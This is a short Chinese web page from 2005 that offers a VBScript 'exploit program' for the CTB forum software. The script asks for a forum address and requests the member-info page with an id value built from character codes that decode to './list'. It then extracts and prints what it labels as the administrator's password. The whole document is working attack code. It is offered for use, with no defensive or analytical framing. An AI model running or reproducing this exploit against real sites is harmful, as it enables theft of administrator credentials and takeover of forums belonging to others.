ctb论坛利用程序vbs版

2005-4-23 08:07 799 0

摘要: 软件作者：lcxurl=inputbox("请输入ctb论坛地址,例http://www.col-e.net/ylj/ctb")if url="" thenmsgbox ("未输入地址")wscrip...

关键词： 用户资料 oXMLHttpRequest chr 输入地址 ResponseTextWscr FalseoXMLHttpReq CreateObject thenmsgbox url

软件作者：lcxurl=inputbox("请输入ctb论坛地址,例http://www.col-e.net/ylj/ctb")if url="" thenmsgbox ("未输入地址")wscript.quitend ifSet oXMLHttpRequest = CreateObject("Msxml2.XMLHTTP")oXMLHttpRequest.Open "GET", url&"/index.php?mods=member&action=info&id="&chr(46)&chr(47)&chr(108)&chr(105)&chr(115)&chr(116), False, FalseoXMLHttpRequest.Sendstr=oXMLHttpRequest.ResponseTextWscript.Echo replace(MID(str,instr(str,">用户资料>"),len(">用户资料>")+33),">用户资料>","最小id用户一般是管理员他的密码是:")

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除